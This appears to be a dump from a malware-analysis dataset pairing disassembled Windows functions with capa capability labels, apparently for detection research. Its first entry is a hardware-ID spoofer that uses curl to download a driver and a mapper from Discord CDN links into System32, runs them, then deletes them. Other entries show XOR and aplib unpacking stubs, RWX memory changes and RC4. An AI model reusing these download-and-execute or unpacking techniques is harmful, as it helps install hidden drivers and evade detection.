joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Delete file
Execute command
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
lea rcx, str.color_e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n_n____i___Welcome_to_Thc_tiny_Spoofer
call fcn.140001160
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f1___Spoof_serials
call fcn.140001160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n____f2___Check_serials
call fcn.140001160
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140001089
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x14000110f
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001065
lea rcx, [0x14000333c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Downloading_files...
call fcn.140001160
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182814985760542814_Spoofy.sys___output_C:WindowsSystem32Taskswoooof.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182815107810594816_spoofer_map.exe___output_C:WindowsSystem32Tasksmmmaaapp.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe_C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___i___Spoofed_
call fcn.140001160
lea rcx, str.C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
add rsp, 0x28
ret
lea rcx, [0x14000333c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n___i___Here_are_your_serials:_n
call fcn.140001160
lea rcx, str._n_n_____wmic_diskdrive_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_____wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x28
ret
Function at 0x140f65a48
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f65a52
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f65a7b
pop rbp
sub rbp, 0x33
sub rbp, 0xf65a48
sub rsp, 0x20
jmp 0x140f65a9a
mov rax, 0xf65a48
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x1648a541
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f65ab9
jmp 0x140f65ad0
or eax, ecx
test al, 0xca
enter 0x417d, 0x41
or r8d, eax
or byte [rcx + 0x40], 0x41
or dword [r8 - 0x58], eax
or dword [rsi + 0x41414981], eax
or dword [r14 + 0x41416983], eax
or dword [r14 - 0x7fbff65d], esi
retf 0x4dc0

Function at 0x1807b0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1807b01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1807b0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807b006f
add dl, dl
jne 0x1807b0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807b00f6
xor eax, eax
add dl, dl
jne 0x1807b00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807b01ad
add dl, dl
jne 0x1807b00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807b00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807b00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807b00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1807b00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1807b007e
mov eax, 1
add dl, dl
jne 0x1807b0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807b0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807b00fb
sub eax, ebx
mov ebx, 1
jne 0x1807b014c
mov ecx, 1
add dl, dl
jne 0x1807b012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807b013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807b0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807b007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1807b0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807b0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807b015d
cmp eax, 0x7d00
jae 0x1807b019b
cmp eax, 0x500
jb 0x1807b0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807b007e
cmp eax, 0x7f
ja 0x1807b019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807b007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1807b01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1807b007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001de0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000e200
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000e200
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140001e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14011b0c4]
mov r12, rcx
test ebx, ebx
jle 0x140001f80
mov rax, qword [0x14011b0c8]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001e9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001f25
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001e80
mov rcx, r12
call fcn.140002820
mov rsi, rax
test rax, rax
je 0x140001fa2
mov rax, qword [0x14011b0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002950
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14011b0c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001f87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001f30
add dword [0x14011b0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14011b0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001de0
nop dword [rax]
xor ebx, ebx
jmp 0x140001ea8
mov rax, qword [0x14011b0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001de0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001de0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002470
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14011b120]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14011b100]
test rbx, rbx
je 0x1400024cc
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400024c3
test r12, r12
je 0x1400024c3
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024a8
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002820
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400f0dd0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002840
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002848
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002840
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002895
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000288c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002840
add rax, 0x28
cmp rax, r9
jne 0x140002878
xor eax, eax
ret

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f0dd0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400028c0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028c8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400028c0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002950
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f0dd0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002970
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002978
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1400104e0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x1400105f2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x1400105ca
add rax, 1
cmp rax, 0x6b
je 0x1400105e7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x1400105c0
cmp edx, 0x6a
je 0x1400105e7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x1400105db
Function at 0x140010b70
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push r14
push r13
push r12
push rbx
sub rsp, 0x48
cmp dword [0x14011bd40], 1
je 0x140010c1b
lea r13, [0x1400ea150]
lea rbx, [0x14011bd40]
mov rcx, r13
call fcn.140010470
mov r12, qword [0x14011bcf0]
test r12, r12
jne 0x140010bc1
jmp 0x140010db5
mov rax, qword [r12 + 0x18]
test rax, rax
je 0x140010d80
mov r12, rax
cmp qword [r12], rbx
jne 0x140010bb0
add dword [r12 + 0x10], 1
lea r14, [r12 + 8]
mov rcx, r13
call fcn.1400104b0
mov rcx, r14
call fcn.14000fdf0
mov ebx, dword [0x14011bd40]
test ebx, ebx
jne 0x140010c40
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400ea168], eax
cmp eax, 0xffffffff
je 0x1400e8ff0
mov dword [0x14011bd40], 1
mov rcx, r14
call fcn.140010110
mov rcx, r12
call fcn.140010610
mov ecx, dword [0x1400ea168]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x140010c70
mov rax, r12
add rsp, 0x48
pop rbx
pop r12
pop r13
pop r14
ret
cmp ebx, 1
je 0x140010c0b
mov ecx, 2
call qword [fcn.14000e200]
mov r9d, ebx
lea r8, [0x14011bd40]
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
jmp 0x140010c0b
call fcn.140010aa0
cmp qword [0x14011e050], 0
mov rbx, rax
je 0x140010c2f
test rax, rax
je 0x140010c2f
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.140010460
cmp eax, 1
je 0x140010dda
mov r14, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call r14
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call r14
lea r9, [rbx + 0x28]
mov r8, r13
mov rdx, r12
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1400e8ff0
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400ea168]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1400e8ff0
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop r12
pop r13
pop r14
ret
mov edx, 0x20
mov ecx, 1
call sub.msvcrt.dll_calloc
mov qword [rax], rbx
mov dword [rax + 0x10], 1
mov qword [r12 + 0x18], rax
mov r12, rax
lea r14, [r12 + 8]
xor edx, edx
mov rcx, r14
call fcn.140010290
jmp 0x140010bd2
mov edx, 0x20
mov ecx, 1
call sub.msvcrt.dll_calloc
mov qword [rax], rbx
mov r12, rax
mov dword [rax + 0x10], 1
mov qword [0x14011bcf0], rax
jmp 0x140010da1
call fcn.1400104e0
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [0x28]
ud2
Function at 0x140012b80
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call fcn.140010aa0
mov r12, rax
test rax, rax
je 0x140012de1
test rdi, rdi
je 0x140012bba
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x140012c27
add ebx, 1
cmp ebx, 1
je 0x140012d30
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x140012bf5
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call fcn.140010460
cmp eax, 1
je 0x140012e2a
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x140012dca
xor edx, edx
test rsi, rsi
je 0x140012c9f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x140012df8
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [0x140010f90]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140012d90
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x140012d60
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x140012d40
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x140012bf5
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140012d0f
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x140012ce5
mov edx, 2
cmp eax, edx
cmovle edx, eax
cmp eax, 0xf
mov eax, 0xf
cmovge edx, eax
jmp 0x140012ce5
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x140012da0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call fcn.1400102e0
mov rcx, r14
call fcn.140010460
cmp eax, 1
je 0x140012e2a
mov qword [r12 + 0x68], 0xffffffffffffffff
pxor xmm0, xmm0
movups xmmword [r12 + 0x28], xmm0
test rdi, rdi
je 0x140012dd6
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x140012e20
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call fcn.140010b70
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x140012c9f
mov rcx, r12
call fcn.140010710
jmp 0x140012de1
call fcn.1400104e0
nop
Function at 0x1400955c0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x1400955e7
call rbp
cmp dword [rax], 4
jne 0x140095604
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x1400955e0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14000147a
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140011630]
mov dword [rax], 1
mov rax, qword [0x140011640]
mov dword [rax], 1
mov rax, qword [0x140011650]
mov dword [rax], 1
mov rax, qword [0x140011620]
mov dword [rax], 1
mov rax, qword [0x1400114d0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], rcx
mov dword [rbp + 0xa8], edx
mov qword [rbp + 0xb0], r8
mov dword [rbp + 0xb8], r9d
mov dword [rbp + 0x8c], 0
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x8c], 0
jmp 0x140001746
mov eax, dword [rbp + 0x8c]
mov edx, eax
mov eax, dword [rbp + 0x8c]
cdqe
mov byte [rbp + rax - 0x80], dl
add dword [rbp + 0x8c], 1
cmp dword [rbp + 0x8c], 0xff
jle 0x14000172b
mov dword [rbp + 0x8c], 0
jmp 0x1400017f5
mov eax, dword [rbp + 0x8c]
cdqe
movzx eax, byte [rbp + rax - 0x80]
movzx edx, al
mov eax, dword [rbp + 0x88]
lea ecx, [rdx + rax]
mov eax, dword [rbp + 0x8c]
cdq
idiv dword [rbp + 0xa8]
mov eax, edx
movsxd rdx, eax
mov rax, qword [rbp + 0xa0]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
add eax, ecx
cdq
shr edx, 0x18
add eax, edx
movzx eax, al
sub eax, edx
mov dword [rbp + 0x88], eax
mov eax, dword [rbp + 0x8c]
cdqe
movzx eax, byte [rbp + rax - 0x80]
mov byte [rbp + 0x82], al
mov eax, dword [rbp + 0x88]
cdqe
movzx edx, byte [rbp + rax - 0x80]
mov eax, dword [rbp + 0x8c]
cdqe
mov byte [rbp + rax - 0x80], dl
mov eax, dword [rbp + 0x88]
cdqe
movzx edx, byte [rbp + 0x82]
mov byte [rbp + rax - 0x80], dl
add dword [rbp + 0x8c], 1
cmp dword [rbp + 0x8c], 0xff
jle 0x140001761
mov dword [rbp + 0x88], 0
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x8c], eax
mov dword [rbp + 0x84], 0
jmp 0x140001906
mov eax, dword [rbp + 0x8c]
add eax, 1
cdq
shr edx, 0x18
add eax, edx
movzx eax, al
sub eax, edx
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0x8c]
cdqe
movzx eax, byte [rbp + rax - 0x80]
movzx edx, al
mov eax, dword [rbp + 0x88]
add eax, edx
cdq
shr edx, 0x18
add eax, edx
movzx eax, al
sub eax, edx
mov dword [rbp + 0x88], eax
mov eax, dword [rbp + 0x8c]
cdqe
movzx eax, byte [rbp + rax - 0x80]
mov byte [rbp + 0x83], al
mov eax, dword [rbp + 0x88]
cdqe
movzx edx, byte [rbp + rax - 0x80]
mov eax, dword [rbp + 0x8c]
cdqe
mov byte [rbp + rax - 0x80], dl
mov eax, dword [rbp + 0x88]
cdqe
movzx edx, byte [rbp + 0x83]
mov byte [rbp + rax - 0x80], dl
mov eax, dword [rbp + 0x84]
movsxd rdx, eax
mov rax, qword [rbp + 0xb0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x8c]
cdqe
movzx edx, byte [rbp + rax - 0x80]
mov eax, dword [rbp + 0x88]
cdqe
movzx eax, byte [rbp + rax - 0x80]
add eax, edx
movzx eax, al
cdqe
movzx edx, byte [rbp + rax - 0x80]
mov eax, dword [rbp + 0x84]
movsxd r8, eax
mov rax, qword [rbp + 0xc0]
add rax, r8
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x84], 1
mov eax, dword [rbp + 0x84]
cmp eax, dword [rbp + 0xb8]
jl 0x14000182a
nop
nop
add rsp, 0x110
pop rbp
ret